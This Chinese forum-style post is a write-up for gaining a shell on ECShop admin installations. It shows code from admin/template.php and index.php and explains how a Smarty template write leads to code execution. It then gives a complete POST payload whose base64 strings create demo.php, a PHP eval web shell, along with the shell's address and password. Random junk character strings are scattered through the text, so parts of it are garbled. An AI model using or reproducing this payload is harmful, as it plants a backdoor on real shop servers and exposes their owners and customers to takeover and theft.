Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
$ I- {$ C  l% Z, L* r) r' v) X; A7 a
; j" \8 s6 D/ x- |& c而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

( C$ {! `  W, ~, T# K1 if ($_REQUEST['act'] == 'update_library')

* v2 m' }: _, @  z7 ^% Y2   
2 W# U% X4 d; F% m* K, x3 K0 c' v  ]2 N+ O
; H7 u1 q. r& d$ j3 I3 {
! s0 \  G7 B# H0 N/ E/ w
8 F5 \4 H, g8 u5 J4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

: L4 g5 O) k; G( j6 ]; r0 H; b% L& i8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. [: F2 W1 Q* n! l
+ `! H' t: y! l3 \8 Q2 G9   
$ S# _+ F' w; \: M1 v
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 x' m+ s6 k. F) a$ o6 O% j
; [' C3 J+ p' |8 {; @9 _/ Z4 c11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
+ T$ J1 v! G( s( }7 Q/ i
2 c4 f0 s! t; N" W; I6 n+ ?13   
( q3 \4 b  V) l1 _9 k+ J
! }  g5 f/ Z4 V14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ q3 y0 ^; o, _& j! v
) K0 t0 q' @3 O* _7 S. Q4 l15     {
( X( t8 c2 x2 z0 S# a
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

' R$ a  U1 r) F5 j18     }

- N$ @# Y) U8 K9 @/ I6 |9 S# O19     else

5 A2 d4 Y" }( r% G, t20     {
( Y- P" l. [8 f4 D8 k4 g5 A- ^
0 `  g; ~' h+ k. ~" h& K6 j# {1 P! A21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 ^/ p% t1 I6 y" i  ?5 M, a
22     }
) Q6 o; }9 v' C, w) Q: ~* z
23 }

2 F% B4 b" K7 g$ E2 a6 @* T那么找个比较方便调用了模板的文件
index.php
' k- S- j! }5 U: ]  f# v, y
4 Q. f' Y2 f; O5 k' e1 if ($act == 'cat_rec')
- x9 R% ]7 R$ ]6 Q1 W
2   
. g! B, U& j  w
3 {
3 D0 `5 {7 {' B2 V
* z+ v. u9 D2 r9 b4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
- t' c( I3 R( h& z/ p
5 q* s+ Z6 y' V& Y+ w3 T7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
5 o# w4 t1 ]' n7 ~8 z
8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
, P# d! T- W* m
10   

11     include_once('includes/cls_json.php');

( D0 z2 M7 a. E* u- ]12   
( {9 n( z; B9 U+ n7 u( c* L9 b; i
13     $json = new JSON;
% M9 s) q$ v) M% f( n7 j
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

" D7 g% y) b& z8 D16   

17     $children = get_children($cat_id);

18   
4 ~7 n3 R! A4 }2 h) k- F4 Z
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

21     $smarty->assign('cat_rec_sign', 1);
7 Q& f8 o4 J- ~( @3 y
22   

7 ^0 J! V1 g- R23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   
: Y/ L% \1 w! t9 X3 X% E
: x, F1 J* [/ F' ^) v0 V25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# p7 _8 H1 y) M
) k7 ]1 ^- P; Z/ F( d26   
& J4 e, C! _5 O; ]
- n0 s' k' ^# T27         echo $rec_array[$rec_type];

4 ^" z' q4 l: E28   

29     die($json->encode($result));

, a, U: Z' ^1 U% n30   

31 }

# B: S* a* \# q$ J& E  I那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
* `' u1 _( P9 g) \: t$ t1 r/ mPost内容：

  |" A8 X0 y9 B/ U​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

3 \$ T9 Q- N! c8 {1 h" m3 t然后访问http://localhost/ec/index.php?act=cat_rec

1 t( w) i- ~% o- N0 bshel地址：http://localhost/ec/demo.php
密码c

$ @' o1 Y/ x& n. e! o. G